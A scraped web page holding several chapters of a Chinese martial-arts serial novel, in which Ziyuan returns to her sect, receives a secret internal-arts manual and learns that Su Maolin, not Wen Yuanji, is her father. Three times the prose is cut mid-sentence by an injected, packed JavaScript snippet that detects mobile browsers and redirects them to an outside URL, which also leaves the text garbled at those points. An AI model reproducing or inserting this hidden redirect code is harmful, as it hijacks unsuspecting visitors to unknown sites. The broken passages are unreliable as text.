“当然。”这一回瑾瑜答得很快,“如果是和我有关的事,我肯定希望不被蒙在鼓里。” “那如果真相反而会伤害到你呢?” 紫璇的眼中浮起了一团水雾,见她如此,瑾瑜更加不敢轻易出口,怕说错了惹得她更加难受。可思之再三,他还是决定说真话:“即便是不好的真相,也是真相。隐瞒看似能将人和伤害隔离开来,可焉知虚假和谎话不是另一种严重的伤害?” “可如果真相造成的伤害更严重,严重到无法承受呢?” 瑾瑜又想了想,最后还是道:“即便如此,我还是想知道。真相就是真相,就算我们躲得再远也不能抹杀它的存在,反而会因它而惶惶不可终日,以至于蹉跎了岁月。” 梗在喉间的一股浊气终于被吐了出来,紫璇攥着碗筷的手也松了:“你说得有道理。我们明日启程回太白山吧。” ———————————————— *磁州窑是中国古代北方的民窑系统,窑址主要分布在河北,在宋代极为鼎盛。特点便是白底黑花,比较有代表的器型是瓷枕。 **原文出自《左传·宣公·宣公十五年》。 149. 父女(一) 一旦下定决心,紫璇便不再犹豫,第二天便向李巧泽与齐煜春辞行南下。 太白山如今防卫严密,他们刚刚进山,天魄门就已经收到消息,紫瑛先下到半山来迎接。 “璇儿!”紫瑛飞跑下来,一把抱住她的胳膊,然后担心地将紫璇瞧了又瞧:“你怎么现在才回来?贺家庄外到底是怎么一回事?” 面对紫瑛的热情,紫璇有些僵硬:“没什么事,我们从那些人手上逃出来了。” 眼泪还没收住,紫瑛先狐疑地瞧了她身后的瑾瑜一眼,他怎么也来了? 紫璇不希望她多问,便也拉住她的手往上走,同时问道:“这么说你们知道贺家庄外发生了什么?” “那当然。贺家护院虽然无能,但清清楚楚地看到了有人围攻你,然后就立刻报告给了贺庄主。只不过他们反应地太慢了些,师兄带着人赶过去的时候,你们已经不见了。姥姥听说你被擒,急得跟什么似地,马上就要从床上爬起来,最后硬是被贺姐姐劝住了。” “然后呢?” “你没了踪影,贺庄主就只能动用贺家的消息网来找你,师兄和熙宁也马上南下,看看能不能请长风镖局帮忙。倪家庄地处江南,姥姥怀疑魏菘泽的老巢也在那里。若你真的被魏家带走,除了和他们有联络的那几伙势力,另一个可能出现的地方便是江南。只不过江南广大,我们需得借助长风镖局的力量。” “为了我,岂不是你们都没能好好过年?”想起自己为了一个人的舒坦在外面流连了快一多月,紫璇瞬间有些抱歉。 “那倒也不是,除夕当天爹爹收到姥姥来信,上面说你已经安全了,暂时在外躲避,叫他不要惦念。只不过我们没见到你的人,就还多少有些悬心罢了。” “来信?”她没有给贺家庄写过信,那就是……她把脸转向瑾瑜。 果然,瑾瑜应道:“是我,我怕许前辈和文门主一直担心,就自作主张,请表哥帮我给贺家庄送了一封信。说我们已经脱险,会在安全的地方先避一阵子。” “方公子在江湖人历练久了,也有不少长进呢。”紫瑛回头笑道,“还知道在信上加一个记号,若非如此,我们肯定会怀疑这是敌人写来迷惑我们的。饶是如此,姥姥他们还是盘问了送信人许久,才知道他原来是齐总镖头儿子的家里人。” 瑾瑜得到称赞,有些不好意思地挠挠额头:“跟着璇儿这么久,总该长点见识。” 紫瑛立马捕捉到他对紫璇的称呼,再一次瞄了他一眼又往紫璇面上看。 “你是什么时候回来的。”紫璇马上岔开话题。 “年前我就来了。” “你一个人吗?如今多事之秋,爹怎么能放心让你一个人回来?” “不是,杜公子送我回来的。他……正好路过……” 这谎扯得有点大,瑾瑜在后面偷笑一阵,紫璇也没有拆穿。 “你还说呢,要不是姥姥来信,爹爹都准备亲自下山取找你呢。”紫瑛也赶忙寻了别的话来说。 提到文远骥,紫璇微微变色, “爹……他还好吗?” “知道你安全他自然就安心了。这几天他一直在藏书阁里呆着,在找什么典籍,好像又要给你布置功课了。” 天魄门曾经麾下高手众多,在武学上积累颇丰。过去紫璇一旦学会一样功夫,通过了文远骥的考核,他就会立刻从藏书阁中寻出下一项适合她的送到秋山居。这本就是经常发生的事,所以对紫瑛的“小道消息”,紫璇并不惊讶,也没有多少欢喜。 三人台阶上到一半,就已经看见等在最上面的文远骥。 紫璇本能地想要退后,却被紫瑛拉着快步跑了上去。文远骥不动神色地打量着她,还好,气色不错,没有受伤,许淑平所说的内力交错冲突之症也没有表现出来。 “你跟我来,我有事找你。” 紫璇有些诧异,她本已决定回来后要直接找父亲谈话,却没想到他竟然先提出要见她。他要说什么?紫璇不免惴惴,却也只能跟上他的脚步。 文远骥直接把紫璇带到了他的书房。说是书房,其实里面很少有书册,更多的是武功秘籍和江邵谦送过来的天魄门公文。 紫璇唯有在少时才来过这里。那时,她还会对着父亲撒娇,求他多陪陪自己。文远骥也会允许她进一直跟着自己屁股后面,等她趴在自己怀里睡着了,再把她送回赤霞山庄。 文远骥的书房和紫璇印象中的相比,并没有多大改变,但案头上堆放的纸张比以前多了许多。 “这两个月正是最冷的时候,你在外面无人照看,可有发病?” 每次见面,文远骥的第一句话都是问她的病。可她偏偏最讨厌这一点,因为这总会提醒她,她是个需要人照顾的病人,以及她将在不远的某一天因病而死。 即便如此,她还是照实回答了,虽然发病,但是有幸遇到游医救治,如今已无大碍。文远骥点头,又向她仔细询问在贺家庄被人追杀的事情。 紫璇将前后之事原原本本地讲了一遍,只略去了林茂的名字。听罢,文远骥点头道:“他们果然是冲着你来的。” 文远骥曾告诫她不可下山,自己却认为他嫌弃自己武艺不精,负气出走。这时,紫璇立刻跪下道:“女儿任性,不听爹爹教诲,这才惹来敌人虎视眈眈,差一点就着了他们的道儿。” “这怎么能怪你?”文远骥将她扶起,面上并无责怪的神色。 “如果不是我不听话,非要一个人跑出去……” “话可不能这么说。你游历在外,救了紫瑛不说,在贺家庄也帮了大忙。天魄门人才凋零,值此多事之秋,你们每一个人都是以一挡百的股肱。之前我不让你下山,虽是为了你的安危考虑,却忘了你凡事要强,最不愿被庇护在他人的羽翼之下。” 紫璇从小要强,不管是生了病,还是练武辛苦,从不叫疼喊累。他看在眼里,又怎会不知她最怕落于人后。她离家出走之后,文远骥反思了此中缘由,已经后悔当时多的那句嘴。事实也证明,紫璇的能力比他想象的要强上许多,诸般试炼都没有难倒她。也正因为如此,他今日才有心多说几句,语气中也带着温情。 这种久违的温柔让紫璇想起幼年时和文远骥相处的光景。那个时候,紫瑛黏着晗月,而她总喜欢跟着文远骥。文远骥不会讲故事,遇到要哄她睡觉的时候,就会把她抱到膝上,同她说几句武林掌故。平日里逗孩子,他的方式也与众不同,总会演示一些极其刁钻的招式,紫瑛不买他的账,看两眼就闹着要找娘亲,只有紫璇会捧他的场,拍着巴掌看了一个,还会让他再来一个。 想到这些,紫璇突然就有些热泪盈眶,努力忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737494|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者才没有让眼泪掉下来。 “前辈月前来信,还和我提起你体内阴阳冲突的事情。” 紫璇轻轻点头。 “据她说,那位传你内力的高人修习的内功极阳,而你的体质极阴,内力也属阴一道。二者未能调和,一旦你动武剧烈,搅动真气,就极易受其冲撞。” “正是,一次在济源、一次在贺家庄,因为遇到的都是当世高手,我在对敌时用了全力,最后都会胸中绞痛以至于承受不住。还有这次,我和方公子一起逃亡,期间大小十数战,虽然对手比不上之前厉害,可一路下来也着实不轻松,是以到了最后内力虚空,寒邪侵体,寒症才能乘虚而入。” “若你的真力无法归一,再多来几次这样的情形,只会让二者冲撞地更加厉害,直到掏空你的底子。”文远骥蹙眉道。 继骆雁声和许淑平之后,这是紫璇第三次听到这个说法,原本她已经有了准备,最坏的结果不过是寿命再因此少上几年而已。可如今……她已然不想就这样听从命运无端安排,便率先提起:“姥姥说,如果能找到远超俞映华和我所修习功夫的内功秘籍,或许可以将二者一同压制。这样,即便二者不能调和,至少我也能控制住它们。” 文远骥颔首:“前辈在信上嘱咐我仔细从天魄门过往的经典中找一找,看有没有哪种内功可以达到你刚刚说的这种效用。” 紫璇紧张地等着他说出底下的话,同时又很担心,许淑平和文远骥都不知道的功夫,天魄门的旧藏中果真会有吗?却见文远骥已然从怀中取出一本册子。 “当年师父一心称霸武林,曾让我们几个师兄弟整理藏书阁中所积累的各种武学。我依稀记得,创派祖师创制的各种武学中,有一门‘碧影神功’,极为高妙,或许能够祝你调和火寒两股内力。” 紫璇从未听过这项功夫,即刻从他手中接过册子打开。里面画着无数的小人儿,小人上细细标注着周身经脉及内功在经脉中游走的线路。她匆匆瞥了几眼,已知这必然是极为上乘的内功心法,别说在天魄门,放眼整个武林也极其罕见。 “我找到这项功法的古谱,瞧了一眼,将其中错漏的部分依照自己的见解做了些许补充和修正,重新抄录了一份。从今日起,你可依法修炼。遇有疑难,不要强行推进,一定要与我商议。” 紫璇瞧着册子上密密麻麻的小字,果然都是文远骥的笔迹。如此高深的内功,要研究其中是否有不妥之处,还要想出弥补的法子,哪有他说得那样轻描淡写。难怪紫瑛说他成日泡在藏书阁了。 她仰起头,眼中泪花闪烁:“这是天魄门至宝,又有你的无数心血,真的要传给我吗?” 文远骥笑道:“不给你留着做什么?”他久违地摸了摸女儿的脑袋,“你练功勤谨,领悟得又快,如今的功力已经远远超出同龄人。原本我就打算等你到了十八岁,就许你和珺翊一样,可以随意出入藏书阁,自己选择合心意的武学修习。碧影神功虽然高妙,但以你的悟性和本事,根本难不倒你。若还能解了你如今的困厄,岂不是两全其美。” 这是紫璇今日第二次被他触动,第一次是他说中了自己的心思,这一次则是多年来第一次听到他如此直白的夸赞和肯定。 紫璇将册子捧在手心里,认真说道:“女儿一定用心修习,决不会辜负爹的这番苦心。” 150. 父女(二) 紫璇将册子揣起,想到自己上山前打算向文远骥询问的事情,犯了犹豫。 文远骥已经好多年不曾对她说过这么多话了,温柔贴心的语气也是她做梦都不敢想的。她实在不想在此时把自己的怀疑拿出来,破坏父女之间难得的暖意。再说距离林茂上门至少还有一个月,自己好像也不必急于一时。 可文远骥看出她似乎还有话,主动问道:“怎么了?还有什么要说的?” 紫璇停顿些许,开口说得却是:“时间过得真快,娘已经走了快有十年了。” 文远骥不由得叹息一声:“是啊。” “当年抓走她的人也是魏菘泽吗?” “或许吧,我也不确定。” 晗月忌日临近,文远骥总不免回忆起往日的一幕幕,紫璇提起,他便将脑子中过了无数遍的事情说了出来,“晗月被人掳走的事情,我也是后来才知道的。晗月下山后,师父震怒,命人即刻下山去寻,可始终没有线索。后来师父离世,门中遽变,三师弟与我反目成仇。就在这时,我收到一封神秘来信,说晗月病重,让我即刻赶往太湖以西的长兴县去救人。当时我忙于门中事情,是许前辈将晗月接回来的。如果是魏菘泽干的,他当不会这么轻易就放晗月回来。” “娘被找到的时候,病得很重么?”紫璇轻轻问。 “怎么会不重呢。”文远骥又叹了口气,“晗月生下你之后本就极度虚弱,可关押她的歹人连你这个刚刚出世的婴孩也不想放过,她心急如焚之下,气血两耗,如果不是前辈赶去得足够及时,她可能那个时候就没命了。” “娘的身体变差也是从那个时候开始的?” 文远骥只点了两下头,没有出声。 “原来,我是在这个时候出生的。” 紫璇并非不清楚自己生在什么时候,可是在听过苏茂霖的故事之后,这一点就有了新的含义,是以她无论如何也要再确认一次。然而,很遗憾,文远骥仍旧点头,除此之外再没有其他话说。 紫璇紧咬住下唇,尽量稳住自己,文远骥都不想说真话,自己为什么偏要揭开呢。 过了一会儿,文远骥才又说道:“晗月一直觉得对不起你。她在自己身子最不好的时候生下你,又没能护住你,致使你甫一出世便不得母亲呵护,还导致你的寒症比她少时还要严重许多。为此她一直很自责。特别是你发病的日子,她总哭得不能自已。还说,若不是因为她,你必然是个健康又聪明的孩子,不至于受这样的苦。” 这些话从来没人对紫璇讲过,原来……原来娘是因为这个缘故才不愿意亲近她,可比起健康,她更想要娘亲日日在身边…… “她刚回来的时候仍在病中,神志还有些模糊,见到我之后却强撑着一丝力气苦苦哀求我,要我一定要找到你。门中纷乱一平,我就立马下山,带着人在长兴附近到处打听一个带着玉佩的五个月女婴,终于在快要绝望的时候找到了你。你那么小,却病得那么厉害,收养你的那户人家为了钱并不舍得你死,也为你请了大夫。但没有那个大夫敢医治你这么小的婴孩,于是病就这么一直拖着。我找到你的时候,你正发着烧,小脸红彤彤的,似能滴下血来。我只好将你裹在自己怀中,跑死了三匹马才赶了回来。 “或许冥冥之中真有神灵看顾,你的烧在寒风中褪了。晗月一见到你,病也好了大半。我记得她第一次抱着你的时候,小心翼翼地仿佛在触碰一个瓷娃娃。那个时候她早就抱过瑛儿了,可对着你还是怕你不舒服。她看着你又是哭又是笑的,要不是前辈说她产后失调,怕她过于激动伤了身子,她恐怕会抱着你一直不撒手。 “一转眼,你都长这么大了。”文远骥转头看着她,即便长大的紫璇已经和晗月不是十分相像了,可他还是能从她身上看到当年那个人的影子。曾几何时,他也是经常这样默默地看着她,哪怕她并不知道。 晗月死后,他一度担忧那些人还会上天魄门来加害她的女儿,他虽然不舍,也还是听从许淑平的建议,让她带走了刚满八岁的紫璇。但他也十分清楚,自己这样做,除去为了紫璇考虑,也有部分其实出于他的自私。 他怕他会一直试图从她的身上寻找晗月,他怕他会沉溺于失去挚爱的痛苦。特别是到了后来,紫璇长到十三四岁,眉眼身量都和刚来天魄门的晗月一模一样,可是一说话做事又和他记忆中的晗月完全不同,这种强烈的割裂让他更不愿意看到紫璇。 可是,十年之约马上就到,如果苏茂霖再次出现,那……一想到这里,文远骥便会不由自主地停住思绪。他还没想好,要不要对他说实话。 ********************* 紫瑛到底还是把晗月的卧房空了出来,搬到了另外的屋子里。紫璇从文远骥的书房出来,立刻就钻进了这里,一个人在屋子里呆了很久。 紫瑛瞧出她有心事,却不敢进屋打搅,便来找瑾瑜打听。 来的路上紫璇已将自己的烦恼向瑾瑜和盘托出,不过他不确定紫璇是不是也希望其他人知道,迟疑了一会儿,才道:“如果她没有告诉你,那我也不能说,实在抱歉。” 这下紫瑛心里更加不是滋味,紫璇可以告诉方瑾瑜这个外人,却不同她讲,看来她还是不愿意与她亲近。反过来又想,也许是自己做的不够好,紫璇才不和她亲近。如此心绪烦扰,以至于都没有精力调侃他对紫璇的如此亲昵的新称呼。 不过,第二天紫瑛仍像往常一样,早早为紫璇准备好穿戴和早饭。就连林茂找上天魄门的消息也是她带给紫璇的。 和晗月约定的十年之期还没到,可林茂听了紫璇的一番话,想到自己或许才是害死晗月的推手,就再也不想等待,拼着提前一个月打破誓言也要找文远骥问一问十八年前以及十年前到底都发生了什么。 他上山时碰到警哨,哪管什么通报姓名的江湖规矩,仗着自己熟门熟路就往上闯。守冲堂的弟子阻拦不住,立刻报给了江邵谦。江邵谦赶来的时候,他已经伤了几个弟子,人也到了牌坊下面不远处。 文远骥也被惊动,正当他思考着孤身一人闯山的会是谁时,江邵谦已经派人传话,苏茂霖来了,下一句是,江邵谦已经和他打了起来。 石阶上,苏茂霖几度想突破江邵谦的阻拦,都被他带着人死死围住。他虽然和江邵谦算不上亲近,但此时也不愿意下狠手,置对方于死地。 “你快让开!我要见文远骥!” “要见门主,先放下武器!” “呸!他当门主从没有过问过我,凭什么让我行属下之礼卸下兵刃?!” “你同不同意,他都是门主!” “我偏不认!” “不认也得认!” 两个人你来我往,一边对招,一边吵架,谁都不肯退让。文远骥在远处看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741816|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一幕,暗暗摇头,立刻大喝:“都让开!” 江邵谦马上闪到一旁,吩咐守冲堂弟子四散开来。 苏茂霖一见文远骥,立刻把来这里的目的抛诸脑后,红着一双眼,提剑冲了过去。文远骥提气踏步,以掌对剑,加入了战局。 对手换成文远骥,苏茂霖再无恻隐之心,统统换成最狠辣的招式,对其步步紧逼。文远骥不欲伤他,如十年前一般,只防守不进攻,在他即将侵入他身侧时斜出一掌,逼得他退开。 十年来自己未曾一日落下练功,没想到竟然还是近不了他的身,苏茂霖恼怒不已,出招渐渐全无顾忌。文远骥虽然功夫高,但遇到这种毫无理智、近乎疯魔的打法也还是头疼不已。 “四师弟!”文远骥一边出招一边大喊,“事情不是你想的那样!” “你休想蒙我!”苏茂霖脚不沾地,飞快出剑的同时嘴上也不饶人。 “你停下来,我慢慢说给你听!” “要我听你说话?除非你先把我打趴下!” 苏茂霖这般已经和无理取闹没有差别,自己如果不先制住他,他对自己的误会和怨气如此之深,肯定不愿意听他说哪怕一个字。文远骥想到此处,便不再一味防守,左手蛇行,绕过苏茂霖递出的剑身,先一步拍在了他的肩膀上。 苏茂霖肩头一震,握着剑的手险些不稳。他大喝一声,收剑下劈,不中之后再上挑绕圈,仍在文远骥要害处招呼。文远骥不是斜出几步,就是原地转身,带动上半身总能击中苏茂霖的肩背。 后方,紫璇得到紫瑛的消息最先赶来。瑾瑜紧随其后,紫瑛跑得慢,气喘吁吁地落在了后面。 文远骥的右掌再次打中苏茂霖左肩,这一回终于令他长剑脱手。文远骥飘开数尺,朗声道:“四师弟,咱们有话好好说。” 可在苏茂霖眼里,文远骥几招就逼得自己丢了武器,是为了迫使他履行见门主卸兵刃的门规,而且显得他武功差得他忒远。他怒气上涌,手脚先于脑子攻了过去。 一边焦急观战的紫璇,见文远骥明明已经收招让步,苏茂霖还不依不饶,此刻也按捺不住心情飞身上前。文远骥本不害怕苏茂霖,只是想逼他冷静,是以苏茂霖再度出招他也毫不惊慌,可没想到的是,他尚未对招,紫璇已经冲到了他的前面,还用剑将苏茂霖逼退,大喊着:“时至今日,你还没冷静下来动动脑子?还要这般不分青红皂白地来寻仇吗!?” 她见过他!什么时候?!文远骥与远处的江邵谦交换着目光,两人同样震惊。 紫璇的出现让苏茂霖的理智稍稍恢复,可他不想丢了面子,便仍旧叫喊着:“我救了你的命!你难道要帮着他来杀我吗!?” 说着就要挥掌打落紫璇的剑,文远骥看得分明,他怕苏茂霖误会之下伤了紫璇,便立刻纵跃到到他身后,伸手成爪把住他肩头,硬生生将他往后拖开数步。 “你不能伤她!她是……”他喝道一半,看着已经望向自己的紫璇,猛地刹住了车。 苏茂霖不明所以,仍是置气:“我知道她是晗月的女儿!别以为只有你念着她!” 紫璇抬眼望向当着她的面欲言又止,不知如何是好的文远骥,任命地闭了闭眼,算了,让事情早一点了结吧。 “我爹想说的是,”紫璇睁开眼睛,用虽然低却足以让身前两人都能听到的声音说道:“我不是他的女儿,而是你的。” 151. 醒悟 “我说的对吗?”紫璇冷着一张面容,向文远骥发问。 “璇儿……”文远骥松开苏茂霖,向前几步又猛地停了下来。 “一句否认都没有,果然是真的。”紫璇想尽力笑着说出这句话,可露出来的表情却比哭还要难看。 苏茂霖却像是听不懂她的意思,浑浑噩噩地一会儿看她,一会儿又瞅两眼文远骥。 远处,江邵谦见苏茂霖不再挣扎,状似呆滞,出于担心也走了过来。紫瑛和瑾瑜根本不知道那里发生了什么,只是看双方罢斗,气氛却好像依旧紧张。 文远骥躲闪着紫璇的目光,对苏茂霖道:“我们进去说。”招呼江邵谦带着还如在梦中的苏茂霖先去政事堂。自己则对紫璇说了一句不太完整的话:“你……我先和他谈……你等……我会告诉你的。” 他又叫来紫瑛,嘱咐她看好紫璇。紫瑛面对两个人古怪的表情和言语,虽然疑惑,却不敢多问。刚想劝紫璇跟她回去,紫璇却先开了口:“我想一个人待一会儿。”说罢就头也不回地离开了。 紫瑛本要追上去,洞悉内情的瑾瑜却拦着她:“让她去吧,这个时候我们最好不要打扰她。” 看着瑾瑜仿佛什么都知道的样子,紫瑛再一次觉得自己是个外人,也同样变得失落又难过。 刚刚走到政事堂门口,一直如木偶般被江邵谦领着往前的苏茂霖突然如梦方醒,骤然使出大力甩脱了江邵谦的手,转身就想往回奔跑。赶来的文远骥就势推出一掌,力道没有拿捏好,苏茂霖差些站立不稳。 “回来!你就想这副样子去认她吗!?”急切之下,文远骥的声音有一些嘶哑。 本就踉跄的苏茂霖听见这句话,腰板更加难以挺直。江邵谦急忙回来,忧心忡忡地看着两人。 “你们在骗我,她明明是晗月和你的女儿……我要去问她!” “她今年十八岁,正月二十二的生日,你自己算一算,她到底是谁的女儿?” “我的女儿……”以苏茂霖现在的思绪嘈杂程度,他根本算不出来。不过他也已经没有了刚才的斗志,对于文远骥的推搡和吼叫毫无反应,只是梦呓般地重复着这句话。 文远骥走近一些,按捺下涌上来的不安和痛楚,低声道:“这件事里最无辜的就是她。我们瞒了这么多年,已经伤了她一次,连你也要现在去往她伤口上再撒一把盐吗?” 苏茂霖抬起头,仿佛还是二十年前那个遇事不决时就会来找大师兄的老么:“那我……我该怎么……” 然而下一刻他又马上想起文远骥才是这一切的始作俑者,他使劲搡开文远骥,叫道:“不可能!你快把实话讲来,这到底是怎么回事?!” “怎么回事?怎么回事你不知道?!”文远骥的音调再次拔高,“晗月被掳走的时候已经怀了身孕,又在关押期间生子,九死一生,就连这个孩子都险些找不回来,这个时候你在哪里?你就是这么保护晗月的?!” “还不是因为你!你觊觎晗月,才处心积虑把她从我身边带走,我怎么保护她,我被囚禁了七年、七年!七年暗无天日的日子,你知道我是怎么熬过来的?我每一天都怕晗月已经被歹人害死,我怕我再也见不到她……你还来质问我?!” 文远骥和江邵谦对望一眼,虽然早有预料,可是听苏茂霖亲口自己说出自己遭受的残酷待遇还是令人心惊,他的声音也不自觉得软了下来:“晗月和你被抓被囚都不是我干的。” 江邵谦也赶紧插话:“是啊,师兄一向光明磊落,从不拉帮结派。他在门中为师父办事,哪里来的人手去四处追捕你和晗月?你走后不到一年,师父暴毙,门中内斗不已,师兄险些失利,又怎么可能会有多余的人力精力抓你看押你?” 苏茂霖在刚才这一连串的事实冲击之下,对文远骥积累了十年的腾腾恨意正在一点一点瓦解。江邵谦言语诚恳,声声入耳,几乎是打垮他所有信念的最后一击。难道这么多年他相信的、促使他活下去的仇恨都是假的?苏茂霖实在不能接受,就算他没有剥夺他的自由,也没有害得他失去了亲生女儿,那晗月呢? “就算如此,你从我身边夺走了晗月,我还是可以恨你!”苏茂霖大声喊道,仿佛声音越大,越能帮他坚定这摇摇欲坠的最后一点恨意。 “晗月不是你的!她不属于任何人,她想选择谁就选择谁。难道你一辈子不回来,她就要守一辈子寡吗?”这一下文远骥也不太冷静了。 这句话终于将苏茂霖死死按住。是啊,他算什么,晗月早就说过,如果他恨文远骥娶她,就等于是恨她。他恨她?难道他如此发了疯要恨的,一直是她? 他只觉得手脚冰凉,脑袋仿佛要裂开。一个声音说,不,我怎么会恨她,我恨得一直都是文远骥,我只是被蒙蔽了。随即便有另一个声音反驳,放屁,如果你不是因为介意晗月和文远骥成婚,怎么会轻信传言,连求证都不去求证一下呢? 第二个声音越来越有力,以至于苏茂霖的力气渐渐被抽走,身形越发委顿,如果不是江邵谦眼疾手快地撑住他,他随时有可能瘫倒在地。 文远骥见他如此,就知苏茂霖已经信了他,只是还在和他自己较劲而已。他和江邵谦一边一个,将人扶进政事堂坐下。江邵谦叫来远处值守的弟子,叫他赶紧去弄些酒水。 苏茂霖目光呆滞,显然还没有从冲击中缓过来,江邵谦在他手边放了一小壶热酒,他旋即仰头灌了自己几大口,然后被呛得眼泪鼻涕一起流下。 江邵谦叹了口气,拿起弟子一起送来的帕子递给他,同时说道:“敌人处心积虑,就是想让你我反目成仇,你怎么这么容易就落入了他们的陷阱!十年前就是如此,十年后你怎么还是如此。” 他的语气就像是恨铁不成钢的父母,虽然是数落,却也带着心疼。他比苏茂霖年长五岁,苏茂霖来找文远骥的时候他也总在一旁,虽然二人交流不算多,可在他心里一直把四师弟当成是自己人。 苏茂霖哭得更加厉害,悔恨之余还有后怕。他想到倘若自己当时一直执着于仇恨,始终不向紫璇施以援手的话,岂不是他亲手断送了女儿的生路。想到这里,即便喝着热酒,身前烧着火盆,他也少不了出一身冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749092|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汗。 许久,他才终于找回自己的声音:“为什么……为什么晗月不早点告诉我?十年前她分明就可以告诉我的……” 文远骥沉声回应“我猜想,或许她是为了璇儿考虑吧。那个时候她还太小,又不时生病,身子很弱。她不想让她那么早知道这件事,还要转头去认另一个父亲。她与你约定十年,肯定是想着这个时候她已经成年,即便你仍然不能释怀,再来寻仇时,她即便得知真相或许也能好好消化。” “她……会吗?”回忆起自己拒绝搭救她的模样,还有他在她面前控诉文远骥和晗月的模样,苏茂霖根本不敢奢望紫璇会原谅他,更别说听到她叫自己一声“爹”了。 “我不知道。不过她一向坚强,又聪明睿智,说不准时间长了就能接受了,你先别急。”文远骥柔声道。 苏茂霖用力点了几下头,使劲在自己脸上擦了一把,继而起身,以下属之礼跪拜文远骥,朗声道:“苏茂霖愚蠢失察,以至于为人蒙蔽,将师兄认作仇人,还几次三番以下犯上,请师兄责罚!” 文远骥也站起来,双手将他扶起:“你这样轻易被蒙蔽,主要是过于爱护晗月的缘故,我不怪你。何况你也是受害者,七年的时间实在太长了,你能熬过来殊为不易。” 苏茂霖眼中再次溢满泪水,赶忙用袖子擦了几下。一旁的江邵谦见他们二人终于和好如初,也不禁热了眼眶。 “晗月当年急着嫁给师兄,其实另有隐情。最开始的时候她根本忘不了你,和师兄只是表面夫妻,可是她等了你几年,几年里哪怕天魄门人手根本不够,师兄也还是派出人到处搜罗你的消息。可你一直杳无音讯,我们只能认为你已被幕后黑手害死了。当时晗月伤心欲绝,寒症也找上了门,是师兄不眠不休的照顾才把她从鬼门关救了回来。晗月对你仁至义尽,根本没有背叛你,师兄也不是故意要横刀夺爱,这么多年你真的错怪他们俩了。”江邵谦又替文远骥解释。 苏茂霖听着,更加意识到自己的混账,低头沉默不语。 文远骥带着他的臂膀,将他让到座位上:“当年情势复杂,若放在十年前,就算晗月想说,估计三言两语也无法让你相信。” “我一向冲动,又极端天真,最容易被表象迷惑。晗月最清楚这一点,她让我静心十年,原本可能还指望着我能窥见其中端倪,哪知道……”苏茂霖自嘲地笑了。 “可你为人纯真,从不恶意揣测他人,又对她一片赤忱,这也是你的好处。” 苏茂霖摇了摇头,不确定自己还但不担得起他的称赞。 文远骥叹息一声,问起了另一个问题:“你之前见过璇儿?” 苏茂霖的沮丧被收起些许,几句话把一个月前紫璇和瑾瑜遇到他的事情讲了,包括紫璇后来对他的质问。 “原来如此,”文远骥听罢,点头道,“这些人为了捉拿紫璇,所下的功夫不小。” “藏宝图尚没有眉目,便多番出手想把紫璇拿在手上。魏菘泽如此急不可耐,到底是为了什么!”江邵谦怒气难遏,猛地锤了一下自己的大腿。 152. 圣女 “三师兄?藏宝图?你们在说什么?三师兄为什么要抓璇儿?”苏茂霖眼珠子在江邵谦和文远骥之间转来转去,迫切希望他们之中有人能把话说得明白些。 “不光这一次,就连十年之前多门之变,极有可能也是因他的煽动而起。”江邵谦补上一句。 “为什么?!三师兄他……”这么说,晗月的死也是他造成的?苏茂霖的呼吸立刻变得急促起来。 文远骥的眉心不由得收紧,一半出于愧疚,另一半则是力有不逮任人摆布的愤懑。 “为了天魄门传说中的百年秘宝。魏菘泽处心积虑,行事阴诡,我们已经着了他不少道了。” “宝藏?”苏茂霖还是不明白,“这和晗月母女有什么关系?” 文远骥攥紧双拳,牙关紧闭,不知从何说起,也有些担心苏茂霖听了之后会作何反应。江邵谦也是一般心思,正紧张地望着文远骥。 “快说呀,到底是为什么?!”苏茂霖耐心极为有限,两人的踌躇不语很快惹恼了他。 该来的总要来,文远骥深吸一口气,终于开了口:“你就从来没有想过,晗月当年为什么会被送到天魄门来吗?” 什么意思?苏茂霖嘴巴半张,却一点声音也发不出来。江邵谦则将头别过,不忍心看到苏茂霖的反应。 “师父千方百计着人将她找来,为的就是打开本门传说中的那份宝藏。” 原来,在天魄门关于宝藏的传说之中,还有一个细节不曾流传开来。传说中,创派祖师褚慕瑶被仙人点化,得到了两样宝物。但获取宝物的过程本身并不容易,实则有无穷的艰险。 据传宝物被仙人置于山巅的一处洞穴之中,要想进洞取得宝物,需要忍受洞内各色毒物啃噬,只有心志坚定、不畏险阻之人才能接近宝物,而他的夫人恰好体质特异,可以屏退蛇蝎虫蚁等诸般毒物。为了自己的爱人,她甘愿冒险,最后以己身为夫君铺路,祖师才得以拿到宝物。褚慕瑶创立天魄门之后,为了彰显她的胆色与功绩,将她封为“圣女”。 